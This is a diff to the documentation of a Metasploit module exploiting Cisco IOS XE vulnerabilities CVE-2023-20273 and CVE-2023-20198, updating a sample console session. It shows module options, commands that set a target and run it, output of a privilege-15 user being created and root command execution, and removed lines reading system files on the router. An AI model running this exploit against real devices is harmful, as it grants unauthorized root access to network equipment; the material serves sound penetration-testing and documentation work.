@@ -89,50 +89,42 @@ can be locked preventing deleting upon the first attempt, so the module will try
89
89
## Scenarios
90
90
91
91
```
92
- msf6 > use auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273
93
- msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > set RHOST 192.168.86.57
94
- RHOST => 192.168.86.57
95
- msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > set CMD "id"
96
- CMD => id
97
92
msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > show options
98
93
99
94
Module options (auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273):
100
95
101
96
Name Current Setting Required Description
102
97
---- --------------- -------- -----------
98
+ CISCO_ADMIN_PASSWORD no The password of an admin account. If not set, CVE-2023 -20198 is leveraged to c
99
+ reate a new admin password.
100
+ CISCO_ADMIN_USERNAME no The username of an admin account. If not set, CVE-2023 -20198 is leveraged to c
101
+ reate a new admin account.
103
102
CMD id yes The OS command to execute.
104
103
Proxies no A proxy chain of format type:host: port [ ,type:host: port ] [ ...]
105
- REMOVE_OUTPUT_TIMEOUT 30 yes The maximum timeout (in seconds) to wait when trying to removing the commands output file.
106
- RHOSTS 192.168.86.57 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
104
+ REMOVE_OUTPUT_TIMEOUT 30 yes The maximum timeout (in seconds) to wait when trying to removing the commands
105
+ output file.
106
+ RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basi
107
+ cs/using-metasploit.html
107
108
RPORT 443 yes The target port (TCP)
108
109
SSL true no Negotiate SSL/TLS for outgoing connections
109
110
VHOST no HTTP server virtual host
110
111
111
112
112
113
View the full module info with the info, or info -d command.
113
114
115
+ msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > set rhosts 10.5.135.193
116
+ rhosts => 10.5.135.193
117
+ msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > set verbose true
118
+ verbose => true
114
119
msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > run
115
- [ * ] Running module against 192.168.86.57
120
+ [ * ] Running module against 10.5.135.193
116
121
117
- [ * ] uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t: s0
122
+ [ * ] Created privilege 15 user 'rfojGrqA' with password 'ixnXyFlw'
123
+ uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t: s0
118
124
125
+ [ * ] Removing output file '/var/www/fNrmuBOf'
126
+ [ * ] Removing user 'rfojGrqA'
119
127
[ * ] Auxiliary module execution completed
120
- msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > run CMD="uname -a"
121
- [ * ] Running module against 192.168.86.57
122
128
123
- [ * ] Linux router 4.19.64 #1 SMP Wed Dec 11 10:30:30 PST 2019 x86_64 x86_64 x86_64 GNU/Linux
124
-
125
- [ * ] Auxiliary module execution completed
126
- msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > run CMD="cat /etc/release"
127
- [ * ] Running module against 192.168.86.57
128
-
129
- [ * ] # Needed for open-vm-tools
130
- # Copyright (c) 2016 by Cisco Systems, Inc., All rights reserved.
131
- DISTRIB_ID=Cisco
132
- DISTRIB_RELEASE=3.10.84
133
- DISTRIB_CODENAME=IOS-XE
134
- DISTRIB_DESCRIPTION="Monte Vista Linux"
135
-
136
- [ * ] Auxiliary module execution completed
137
129
msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) >
138
130
```
0 commit comments